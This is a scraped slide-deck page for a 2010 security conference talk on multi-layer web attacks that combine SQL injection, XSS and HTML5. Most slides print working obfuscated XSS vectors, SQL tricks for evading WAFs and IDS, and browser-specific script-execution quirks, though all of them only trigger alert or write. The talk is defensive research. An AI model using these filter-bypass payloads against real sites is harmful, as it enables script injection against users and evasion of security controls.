The Future of Web Attacks - CONFidence 2010

Mario Heiderich
Mario HeiderichSecurity Research / Penetration Testing
The Presence and Future of Web Attacks
       Multi-Layer Attacks, XSSQLI+ and HTML5


              A presentation by Mario Heiderich
                for CONFidence 2010, Krakow
WARNING
This talk will be technical, chaotic and|or hurt
Intro




Mario Heiderich
@0x6D6172696F

   
       Based in Cologne
   
       CTO for Business IN Inc - working on workube.com
   
       Independent Security Researcher
   
       PHPIDS and something we will see later on
Why this talk?

 
     What happened to web application security?
 
     Always the same... so 2002 right?
      
        XSS, SQL Injections, Auth and path traversal
 
     We have amazing things now!
      
        NoScript, the IE8 and Chromium XSS filter and CSP

 
     Users must be safer than ever!




      
          But didn't the web change?
      
          Wasn't there HTML5 and next generation browsers?
Oh wait - developers!

 
     Web app development frameworks help
      
          Building applications faster
      
          Pre-implemented SQLI and XSS protection
      
          Secure forms with complex CSRF tokens
      
          Webroot contains webroot only files




      
          Weaknesses regarding JavaScript generation
      
          Client side logic mostly built manually
      
          Different templates for browsers, mobile devices, feeds
      
          Offline mode, client side validation, DOM access
User Agents on steroids

    
        Chrome 5 and Opera 10.5 ship client side databases
    
        IE9 is coming soon with more standards conformity
    
        Integrated security mechanisms
    
        The death of eval()




    
        A fat client dynasty is coming up
    
        Who needs a server anyway if clients do all the work
    
        And store their data in „the cloud“


    
        Bye bye SQL - say hello to NoSQL?
Web applications are changing

 
     And so are the attacks against them
 
     If the attack happens on and against the client
 
     Of what use will a server side IDS / WAF solution be?




 
     Today we can have a little preview for that scenario
 
     One question might be...

 
     How will protective mechanisms react on multi-layer
     attacks?
Multi-layer what?

    
        What about utilizing the DBMS to generate an XSS attack

    
        NoScript detects most XSS attacks without problems
    
        Circumvention has become very difficult
    
        Thanks to Giorgio Maone and the NoScript user base. And me :P


    
        Let's have a look at my last one (disclosed via SSD - fixed in 1.9.9.48)
    
        Aren't dataURIs the sweetest thing?

    
        <a href="d&#097t&#x0061: . &#x2c &#x25;

         3

         c s cri &#x00D; pt % 3 e alu0065rt(1)%3c

         /s &#x43 RI &#x009 P t>"
Difficult!

    
        We can probably agree that it's not as easy anymore
    
        Same thing for the IE8 XSS filter
    
        Or implementations of toStaticHTML()


    
        Most quirky JavaScript encoding techniques are
        documented
    
        Not too many user agent specific surprises anymore




    
        Help from another layer would be appreciated
    
        Let's have a look at a "classic webapp" example
Imagine the DBMS helps

 
     Hypothesis
      
        A verbose SQL Injection vulnerability is always at least an
        "unfilterable" XSS
 
     Verification
      
        Just make use of the obfuscation possibilities the DBMS
        provides


 
     SELECT
     0x3C7363726970743E616C6572742831293C2F7363726970743E
 
     SELECT
     UpdateXML(concat( 0x3c,'script',0x3e,'alert(1)',0x3c,'/
     script',0x3e),
     '/x', 0);
 
     SELECT/**/'<sc'"rip"'t>al'"er"'t(1)'"</sc"'ript>'
MySQL and PostgreSQL

 
     MySQL only ships two basic XML functions
      
        UpdateXML() and ExtractValue()
 
     PostgreSQL has far more advanced XML support

      
          SELECT xmlelement(name img,xmlattributes(1 as
          src,'alert(1)'as onerror))
      
          SELECT xmlforest(loWER('x41'||'lert(1)') AS
          script);


 
     And my favorite
 
     SELECT xpath('//text()',
     '<x:x>&#x3c;imgx20src=x
     onerror=alert(1);&#x2f;&#x2f;</x:x>',
     ARRAY[ARRAY['x', '']]);
SQL Injection and XSS

 
     There are more intersections for XSS and SQLI
 
     „Remember“ the client side databases?
 
     And the short lived Google Gears?
 
     HTML5 and W3C Offline Web Applications 1.0 give us



                window.openDatabase()

        
            SQL execution on the user agent
        
            Currently supported by Chrome and Opera
        
            Usually implemented using SQLite
Code please

<script type="text/javascript">
openDatabase('',1,1,0).transaction(function($){
$.executeSql(
    'SELECT "x61lert(1u0029"', [], function($,results){
        for(i in results.rows.item(0))
            eval(results.rows.item(0)[i])
    })
})
</script>

  
      Selects the string "alert(1)"
  
      And evaluates the result
Short Roundup

    
        The browsers speak SQL now
    
        The server side DBMS can generate HTML and JavaScript
    
        We already outsmarted NoScript and IE8 XSS filter
    
        Not really a fair game though

    
        Multi-layer attacks mean multi-layer obfuscation
    
        In future webapps the client side DBMS will generate our XSS
        payload






    
        But today we still have to trick the server side protection
    
        Bypass IDS and WAF with a trigger
Attackers like obfuscation

 
     And why wouldn't they - right?
 
     Obfuscation usually means concatenation
 
     And a bit of encoding spice
 
     But how to concatenate in SQL so no one will notice the attack?
 
     Which operator to choose?

 
     Everybody knows chr(), char() and double-pipe...
In MySQL - none at all

 
     MySQL doesn't need parenthesis to concatenate
 
     And doesn't know the double-pipe operator
 
     Sorry mod_security...
 
     But luckily MySQL accepts concatenation via whitespace

      
          SELECT "a" "d" "m" "i" "n"
      
          SELECT'a'"d"'m'"i"'n'



 
     Or why not use an integer overflow in char()

      
          SELECT concat( char( x'70617373',
          b'1110111011011110111001001100100'))
So again...

 
     We can bypass the server side protection mechanisms
 
     As well as client side tools
 
     No parenthesis or special operators needed on MySQL




 
     We can also trick MySQL and the IDS with MySQL specific code

      
          SELECT--/*!500005,*//*!400004,*//*!300003,*/
Back to the user agent

 
     But what if no server side DBMS is involved in the attack
 
     What if the client side database is being targeted

 
     We still need to execute some JavaScript bypassing either server
     side IDS and the client side security mechanisms




 
     Let's have a look at some freaky examples
Remember dataURIs?

 
     The whole requested resource embedded in the URI
 
     DataURIs work smoothly on Firefox, Opera and Chrome
 
     But IE8 and 9 have problems
 
     Some say the minimal dataURI support was just for ACID 2
People say...

 
     ...it's not possible to execute JavaScript via dataURI on IE

 
     Do we agree on that?
 
     No we don't!

 
     <style>
     @import "data:,*%7bx:expression(write(2))%7D";
     </style>

 
     <link rel="Stylesheet" href="data:,*
     %7bx:expression(write(4))%7d">
And there's more

 
     CSS expression() is believed to be dead on IE8

 
     But it isn't
 
     It's only disabled in standard mode
 
     In case a recognized DOCTYPE is present
 
     The new HTML5 doctype isn't


 
     So this works:

     <!docytpe html>
     <div style="background:url('abc',
     x!=x=expression(write(2));)">
And even worse...

 
     HTML5 forces user agents to be more tolerant again
 
     New tags, new attributes, new parsing rules
 
     And tons of new features like the mentioned
     openDatabase()

 
     Some nifty examples from the future

 
     <video/poster=javascript:alert(1)// Opera 10.5+
 
     <style>@import javascript:alert(1); // IE9 (!)
Closing tags + free 0day

 
     Another weird artifact has been reported for IE6 some
     years ago
 
     It's attributes in closing HTML tags
 
     Believed to be dead... but
 
     This still works on all IEs

 
     <td>phoobar</td style=expression(write(1))>

 
     And what about this?
 
     <style>*{background:url(foo!!-
     =expression(write(1));</style>
Opera CSS XSS

    Since Mozilla fixed the dataURI and cross domain
     problems with -moz-binding IE was believed to be
     unique
    Unique regarding JavaScript execution via CSS
    But Opera ships an artifact too

    <style>*{-o-link:'javascript:alert(1)';-o-link-
     source:current}</style>
Now we have...

 
     Server side SQL helping to circumvent client side XSS filters
 
     Effective SQL obfuscation circumventing WAF and IDS
 
     "Obfuscation-mash ups" using several layers
 
     Quirky HTML triggers to execute the JS


 
     Sounds like only one player is missing




 
     Even more freaky markup obfuscation! Awesome! Now breathe..
Meet Harold the markup ghoul

This is Harold:
                   1;--<?f><l ₩ :!!:x
                   /style=`b&#x5c;65h0061vIor/ĸ
                   :url(#def&#x61ult#time2)ö/';'` ₩ /onb
                   egin=
                   &#x5bµ=u00&#054;1le&#114t&#40&#x31)&#
                   x5d&#x2f/&#xyŧ>




    It's completely legitimate to call me a mad man now and say this is
    never gonna work

    So - demo time: http://heideri.ch/jso/what???
What... what is this?

    It's a piece of markup – obfuscated to the max
    Working on IE only – but all versions from 5 to 9
    Based on the HTML+TIME API (What? Stuff like that still exists?)
    Does your WAF know what to do with it?

    Overall about 12-13 obfuscation steps
    Buy me a beer later on and I will give you a full
     explanation :D
Round Up

 
     We are not living in web app = CRUD application times anymore
 
     Modern webapps accept input from many channels
 
     User input via HTTP is just one of them
 
     API calls, RPC, DOM, Drag&Drop, file meta data & EXIF...

 
     WAF/IDS as well as pentesters need to look into HTML5
 
     New application structures and design pattern must be
     understood

 
     Client and server versus rich-client and cloud
 
     SQLite and NVP versus RDBMS
 
     Massive client diversity via mobile devices
Expectations and tasks

 
     Fewer basic and reflective XSS
 
     More out-of-band attacks and heavy obfuscation
 
     We didn't even cover Flash and PDF
 
     More JSON and E4X hijacking
 
     SVG based attacks and rogue multimedia objects


 
     Don't ignore the user agent
 
     Understand client side obfuscation and multi-layer obfuscation
 
     Don't trust filters. Ever.
 
     We broke HTMLPurifier and most other markup filters some days
     ago with one single vector

 
     And don't trust the cloud – it's a business model and not your
     buddy :D
So what can I do?
 
     Help with research and participation!
 
     Communication and disclosure
 
     For good!
 
     But how?
The Ultimate Cheatsheet
 
     http://heideri.ch/jso
Ping us!
 
     Add new vectors
 
     Get a channel to speak to vendors
 
     Most are more responsive than one might think
 
     Use it for..
       
           Your own scanner software
       
           Your own local version
       
           Whatever you want!
       
           Open API in JSON
       
           Multiple languages
       
           Flexible payload
       
           You need more? Tell us!
Do what now?





    Go here!
     
         http://code.google.com/p/html5security/
Questions & Comments




 
     Thanks very much for listening!
 
     Wait - no goodies this time? Meh!!1
Yaaaaaaay! Goodies!

 
     Did you know Firefox has a DOM object called crypto?
 
     PKI meets JavaScript
 
     And another eval() for free!


 
     crypto.generateCRMFRequest(
       'CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use'
      );
Good bye!
1 of 36

Recommended

The Ultimate IDS Smackdown by
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS SmackdownMario Heiderich
1.7K views31 slides
Locking the Throneroom 2.0 by
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0Mario Heiderich
6.4K views47 slides
Scriptless Attacks - Stealing the Pie without touching the Sill by
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillMario Heiderich
45.7K views33 slides
In the DOM, no one will hear you scream by
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you screamMario Heiderich
33.2K views60 slides
Dev and Blind - Attacking the weakest Link in IT Security by
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityMario Heiderich
5.6K views39 slides
A XSSmas carol by
A XSSmas carolA XSSmas carol
A XSSmas carolcgvwzq
4K views36 slides

More Related Content

What's hot

Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-... by
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
30.4K views55 slides
Generic Attack Detection - ph-Neutral 0x7d8 by
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Mario Heiderich
1.5K views21 slides
I thought you were my friend - Malicious Markup by
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupMario Heiderich
3.6K views65 slides
The innerHTML Apocalypse by
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML ApocalypseMario Heiderich
34.9K views51 slides
HTML5 - The Good, the Bad, the Ugly by
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyMario Heiderich
2K views22 slides
An Abusive Relationship with AngularJS by
An Abusive Relationship with AngularJSAn Abusive Relationship with AngularJS
An Abusive Relationship with AngularJSMario Heiderich
129.2K views66 slides

What's hot(20)

Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-... by Mario Heiderich
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Mario Heiderich30.4K views
Generic Attack Detection - ph-Neutral 0x7d8 by Mario Heiderich
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8
Mario Heiderich1.5K views
I thought you were my friend - Malicious Markup by Mario Heiderich
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious Markup
Mario Heiderich3.6K views
HTML5 - The Good, the Bad, the Ugly by Mario Heiderich
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the Ugly
Mario Heiderich2K views
An Abusive Relationship with AngularJS by Mario Heiderich
An Abusive Relationship with AngularJSAn Abusive Relationship with AngularJS
An Abusive Relationship with AngularJS
Mario Heiderich129.2K views
JavaScript From Hell - CONFidence 2.0 2009 by Mario Heiderich
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009
Mario Heiderich21.9K views
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,... by Mario Heiderich
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
Mario Heiderich45.4K views
New Methods in Automated XSS Detection & Dynamic Exploit Creation by Ken Belva
New Methods in Automated XSS Detection & Dynamic Exploit CreationNew Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ken Belva2.2K views
Polyglot payloads in practice by avlidienbrunn at HackPra by Mathias Karlsson
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson14.5K views
XSS - Do you know EVERYTHING? by Yurii Bilyk
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
Yurii Bilyk4.8K views
Defcon CTF quals by snyff
Defcon CTF qualsDefcon CTF quals
Defcon CTF quals
snyff1.5K views
Ruxmon feb 2013 what happened to rails by snyff
Ruxmon feb 2013   what happened to railsRuxmon feb 2013   what happened to rails
Ruxmon feb 2013 what happened to rails
snyff944 views
MMT 29: "Hab Dich!" -- Wie Angreifer ganz ohne JavaScript an Deine wertvollen... by MMT - Multimediatreff
MMT 29: "Hab Dich!" -- Wie Angreifer ganz ohne JavaScript an Deine wertvollen...MMT 29: "Hab Dich!" -- Wie Angreifer ganz ohne JavaScript an Deine wertvollen...
MMT 29: "Hab Dich!" -- Wie Angreifer ganz ohne JavaScript an Deine wertvollen...
Mario heiderich. got your nose! how to steal your precious data without using... by Yury Chemerkin
Mario heiderich. got your nose! how to steal your precious data without using...Mario heiderich. got your nose! how to steal your precious data without using...
Mario heiderich. got your nose! how to steal your precious data without using...
Yury Chemerkin1.5K views
Defcon 20-zulla-improving-web-vulnerability-scanning by zulla
Defcon 20-zulla-improving-web-vulnerability-scanningDefcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanning
zulla557 views
Biting into the forbidden fruit. Lessons from trusting Javascript crypto. by Krzysztof Kotowicz
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Krzysztof Kotowicz14.7K views
Developer's Guide to JavaScript and Web Cryptography by Kevin Hakanson
Developer's Guide to JavaScript and Web CryptographyDeveloper's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web Cryptography
Kevin Hakanson30.8K views

Viewers also liked

I thought you were my friend! by
I thought you were my friend!I thought you were my friend!
I thought you were my friend!Mario Heiderich
1.7K views47 slides
How to get free Wi-Fi in a whole City by
How to get free Wi-Fi in a whole CityHow to get free Wi-Fi in a whole City
How to get free Wi-Fi in a whole CityYurii Bilyk
3.8K views23 slides
How-to crack 43kk passwords while drinking your juice/smoozie in the Hood by
How-to crack 43kk passwords  while drinking your  juice/smoozie in the HoodHow-to crack 43kk passwords  while drinking your  juice/smoozie in the Hood
How-to crack 43kk passwords while drinking your juice/smoozie in the HoodYurii Bilyk
2.6K views42 slides
OWASP 2013 APPSEC USA ZAP Hackathon by
OWASP 2013 APPSEC USA ZAP HackathonOWASP 2013 APPSEC USA ZAP Hackathon
OWASP 2013 APPSEC USA ZAP HackathonSimon Bennetts
4.2K views31 slides
Ddos dos by
Ddos dosDdos dos
Ddos dosarichoana
1.3K views18 slides
Alert logic anatomy owasp infographic by
Alert logic anatomy owasp infographicAlert logic anatomy owasp infographic
Alert logic anatomy owasp infographicCMR WORLD TECH
368 views1 slide

Viewers also liked(20)

I thought you were my friend! by Mario Heiderich
I thought you were my friend!I thought you were my friend!
I thought you were my friend!
Mario Heiderich1.7K views
How to get free Wi-Fi in a whole City by Yurii Bilyk
How to get free Wi-Fi in a whole CityHow to get free Wi-Fi in a whole City
How to get free Wi-Fi in a whole City
Yurii Bilyk3.8K views
How-to crack 43kk passwords while drinking your juice/smoozie in the Hood by Yurii Bilyk
How-to crack 43kk passwords  while drinking your  juice/smoozie in the HoodHow-to crack 43kk passwords  while drinking your  juice/smoozie in the Hood
How-to crack 43kk passwords while drinking your juice/smoozie in the Hood
Yurii Bilyk2.6K views
OWASP 2013 APPSEC USA ZAP Hackathon by Simon Bennetts
OWASP 2013 APPSEC USA ZAP HackathonOWASP 2013 APPSEC USA ZAP Hackathon
OWASP 2013 APPSEC USA ZAP Hackathon
Simon Bennetts4.2K views
Ddos dos by arichoana
Ddos dosDdos dos
Ddos dos
arichoana1.3K views
Alert logic anatomy owasp infographic by CMR WORLD TECH
Alert logic anatomy owasp infographicAlert logic anatomy owasp infographic
Alert logic anatomy owasp infographic
CMR WORLD TECH368 views
Web Application Vulnerabilities by Preetish Panda
Web Application VulnerabilitiesWeb Application Vulnerabilities
Web Application Vulnerabilities
Preetish Panda1.9K views
Anatomy of an Attack by spoofyroot
Anatomy of an AttackAnatomy of an Attack
Anatomy of an Attack
spoofyroot546 views
Top 10 Web Hacks 2012 by Matt Johansen
Top 10 Web Hacks 2012Top 10 Web Hacks 2012
Top 10 Web Hacks 2012
Matt Johansen29.5K views
BlackHat 2014 OWASP ZAP Turbo Talk by Simon Bennetts
BlackHat 2014 OWASP ZAP Turbo TalkBlackHat 2014 OWASP ZAP Turbo Talk
BlackHat 2014 OWASP ZAP Turbo Talk
Simon Bennetts2.2K views
Using the Zed Attack Proxy as a Web App testing tool by David Sweigert
Using the Zed Attack Proxy as a Web App testing toolUsing the Zed Attack Proxy as a Web App testing tool
Using the Zed Attack Proxy as a Web App testing tool
David Sweigert989 views
Top Ten Web Attacks by Ajay Ohri
Top Ten Web Attacks Top Ten Web Attacks
Top Ten Web Attacks
Ajay Ohri6.4K views
2014 ZAP Workshop 2: Contexts and Fuzzing by Simon Bennetts
2014 ZAP Workshop 2: Contexts and Fuzzing2014 ZAP Workshop 2: Contexts and Fuzzing
2014 ZAP Workshop 2: Contexts and Fuzzing
Simon Bennetts2K views
2014 ZAP Workshop 1: Getting Started by Simon Bennetts
2014 ZAP Workshop 1: Getting Started2014 ZAP Workshop 1: Getting Started
2014 ZAP Workshop 1: Getting Started
Simon Bennetts3.6K views
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011) by Marco Balduzzi
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
Marco Balduzzi11.5K views
Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise by Shreeraj Shah
Hacking Ajax & Web Services - Next Generation Web Attacks on the RiseHacking Ajax & Web Services - Next Generation Web Attacks on the Rise
Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise
Shreeraj Shah2.8K views
cmd injection by hackstuff
cmd injectioncmd injection
cmd injection
hackstuff3.1K views
Web application attack Presentation by Khoa Nguyen
Web application attack PresentationWeb application attack Presentation
Web application attack Presentation
Khoa Nguyen766 views

Similar to The Future of Web Attacks - CONFidence 2010

Positive Technologies - S4 - Scada under x-rays by
Positive Technologies - S4 - Scada under x-raysPositive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-raysqqlan
5.7K views77 slides
Cross site scripting by
Cross site scriptingCross site scripting
Cross site scriptingDilan Warnakulasooriya
1.1K views14 slides
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf by
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
7 views108 slides
Automated JavaScript Deobfuscation - PacSec 2007 by
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Stephan Chenette
1.5K views35 slides
2 Roads to Redemption - Thoughts on XSS and SQLIA by
2 Roads to Redemption - Thoughts on XSS and SQLIA2 Roads to Redemption - Thoughts on XSS and SQLIA
2 Roads to Redemption - Thoughts on XSS and SQLIAguestfdcb8a
453 views40 slides
(In)Security Implication in the JS Universe by
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS UniverseStefano Di Paola
1.6K views49 slides

Similar to The Future of Web Attacks - CONFidence 2010(20)

Positive Technologies - S4 - Scada under x-rays by qqlan
Positive Technologies - S4 - Scada under x-raysPositive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-rays
qqlan5.7K views
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf by GiorgiRcheulishvili
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
Automated JavaScript Deobfuscation - PacSec 2007 by Stephan Chenette
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
Stephan Chenette1.5K views
2 Roads to Redemption - Thoughts on XSS and SQLIA by guestfdcb8a
2 Roads to Redemption - Thoughts on XSS and SQLIA2 Roads to Redemption - Thoughts on XSS and SQLIA
2 Roads to Redemption - Thoughts on XSS and SQLIA
guestfdcb8a453 views
(In)Security Implication in the JS Universe by Stefano Di Paola
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe
Stefano Di Paola1.6K views
W3 conf hill-html5-security-realities by Brad Hill
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
Brad Hill10.4K views
SQL/JavaScript Hybrid Worms As Two-stage Quines by José Ignacio
SQL/JavaScript Hybrid Worms As Two-stage Quines SQL/JavaScript Hybrid Worms As Two-stage Quines
SQL/JavaScript Hybrid Worms As Two-stage Quines
José Ignacio419 views
You Too Can Be a Radio Host Or How We Scaled a .NET Startup And Had Fun Doing It by Aleksandr Yampolskiy
You Too Can Be a Radio Host Or How We Scaled a .NET Startup And Had Fun Doing ItYou Too Can Be a Radio Host Or How We Scaled a .NET Startup And Had Fun Doing It
You Too Can Be a Radio Host Or How We Scaled a .NET Startup And Had Fun Doing It
The Wondrous Curse of Interoperability by Steve Loughran
The Wondrous Curse of InteroperabilityThe Wondrous Curse of Interoperability
The Wondrous Curse of Interoperability
Steve Loughran1.3K views
NoSQL - No Security? by Gavin Holt
NoSQL - No Security?NoSQL - No Security?
NoSQL - No Security?
Gavin Holt2.2K views
The top 10 security issues in web applications by Devnology
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
Devnology13.4K views
Icinga Director and vSphereDB - how they play together - Icinga Camp Zurich 2019 by Icinga
Icinga Director and vSphereDB - how they play together - Icinga Camp Zurich 2019Icinga Director and vSphereDB - how they play together - Icinga Camp Zurich 2019
Icinga Director and vSphereDB - how they play together - Icinga Camp Zurich 2019
Icinga2.4K views
MunichJS - 2011-04-06 by Mike West
MunichJS - 2011-04-06MunichJS - 2011-04-06
MunichJS - 2011-04-06
Mike West710 views
Thug: a new low-interaction honeyclient by Angelo Dell'Aera
Thug: a new low-interaction honeyclientThug: a new low-interaction honeyclient
Thug: a new low-interaction honeyclient
Angelo Dell'Aera4.4K views
Whatever it takes - Fixing SQLIA and XSS in the process by guest3379bd
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
guest3379bd1.3K views
Web開発の技術選び、 好き嫌いでやってませんか 〜技術選びで注目すべきポイントとは〜 by Yuki Okada
Web開発の技術選び、 好き嫌いでやってませんか  〜技術選びで注目すべきポイントとは〜Web開発の技術選び、 好き嫌いでやってませんか  〜技術選びで注目すべきポイントとは〜
Web開発の技術選び、 好き嫌いでやってませんか 〜技術選びで注目すべきポイントとは〜
Yuki Okada6K views
Original slides from Ryan Dahl's NodeJs intro talk by Aarti Parikh
Original slides from Ryan Dahl's NodeJs intro talkOriginal slides from Ryan Dahl's NodeJs intro talk
Original slides from Ryan Dahl's NodeJs intro talk
Aarti Parikh2.1K views
Real World Single Page App - A Knockout Case Study by housecor
Real World Single Page App - A Knockout Case StudyReal World Single Page App - A Knockout Case Study
Real World Single Page App - A Knockout Case Study
housecor1.8K views

Recently uploaded

Attacking IoT Devices from a Web Perspective - Linux Day by
Attacking IoT Devices from a Web Perspective - Linux Day Attacking IoT Devices from a Web Perspective - Linux Day
Attacking IoT Devices from a Web Perspective - Linux Day Simone Onofri
16 views68 slides
Special_edition_innovator_2023.pdf by
Special_edition_innovator_2023.pdfSpecial_edition_innovator_2023.pdf
Special_edition_innovator_2023.pdfWillDavies22
17 views6 slides
Piloting & Scaling Successfully With Microsoft Viva by
Piloting & Scaling Successfully With Microsoft VivaPiloting & Scaling Successfully With Microsoft Viva
Piloting & Scaling Successfully With Microsoft VivaRichard Harbridge
12 views160 slides
Design Driven Network Assurance by
Design Driven Network AssuranceDesign Driven Network Assurance
Design Driven Network AssuranceNetwork Automation Forum
15 views42 slides
HTTP headers that make your website go faster - devs.gent November 2023 by
HTTP headers that make your website go faster - devs.gent November 2023HTTP headers that make your website go faster - devs.gent November 2023
HTTP headers that make your website go faster - devs.gent November 2023Thijs Feryn
22 views151 slides
Data Integrity for Banking and Financial Services by
Data Integrity for Banking and Financial ServicesData Integrity for Banking and Financial Services
Data Integrity for Banking and Financial ServicesPrecisely
21 views26 slides

Recently uploaded(20)

Attacking IoT Devices from a Web Perspective - Linux Day by Simone Onofri
Attacking IoT Devices from a Web Perspective - Linux Day Attacking IoT Devices from a Web Perspective - Linux Day
Attacking IoT Devices from a Web Perspective - Linux Day
Simone Onofri16 views
Special_edition_innovator_2023.pdf by WillDavies22
Special_edition_innovator_2023.pdfSpecial_edition_innovator_2023.pdf
Special_edition_innovator_2023.pdf
WillDavies2217 views
Piloting & Scaling Successfully With Microsoft Viva by Richard Harbridge
Piloting & Scaling Successfully With Microsoft VivaPiloting & Scaling Successfully With Microsoft Viva
Piloting & Scaling Successfully With Microsoft Viva
HTTP headers that make your website go faster - devs.gent November 2023 by Thijs Feryn
HTTP headers that make your website go faster - devs.gent November 2023HTTP headers that make your website go faster - devs.gent November 2023
HTTP headers that make your website go faster - devs.gent November 2023
Thijs Feryn22 views
Data Integrity for Banking and Financial Services by Precisely
Data Integrity for Banking and Financial ServicesData Integrity for Banking and Financial Services
Data Integrity for Banking and Financial Services
Precisely21 views
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N... by James Anderson
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...
GDG Cloud Southlake 28 Brad Taylor and Shawn Augenstein Old Problems in the N...
James Anderson85 views
The details of description: Techniques, tips, and tangents on alternative tex... by BookNet Canada
The details of description: Techniques, tips, and tangents on alternative tex...The details of description: Techniques, tips, and tangents on alternative tex...
The details of description: Techniques, tips, and tangents on alternative tex...
BookNet Canada127 views
Case Study Copenhagen Energy and Business Central.pdf by Aitana
Case Study Copenhagen Energy and Business Central.pdfCase Study Copenhagen Energy and Business Central.pdf
Case Study Copenhagen Energy and Business Central.pdf
Aitana16 views
STKI Israeli Market Study 2023 corrected forecast 2023_24 v3.pdf by Dr. Jimmy Schwarzkopf
STKI Israeli Market Study 2023   corrected forecast 2023_24 v3.pdfSTKI Israeli Market Study 2023   corrected forecast 2023_24 v3.pdf
STKI Israeli Market Study 2023 corrected forecast 2023_24 v3.pdf
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLive by Network Automation Forum
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLiveAutomating a World-Class Technology Conference; Behind the Scenes of CiscoLive
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLive
SAP Automation Using Bar Code and FIORI.pdf by Virendra Rai, PMP
SAP Automation Using Bar Code and FIORI.pdfSAP Automation Using Bar Code and FIORI.pdf
SAP Automation Using Bar Code and FIORI.pdf
Unit 1_Lecture 2_Physical Design of IoT.pdf by StephenTec
Unit 1_Lecture 2_Physical Design of IoT.pdfUnit 1_Lecture 2_Physical Design of IoT.pdf
Unit 1_Lecture 2_Physical Design of IoT.pdf
StephenTec12 views

The Future of Web Attacks - CONFidence 2010

  • 1. The Presence and Future of Web Attacks Multi-Layer Attacks, XSSQLI+ and HTML5 A presentation by Mario Heiderich for CONFidence 2010, Krakow
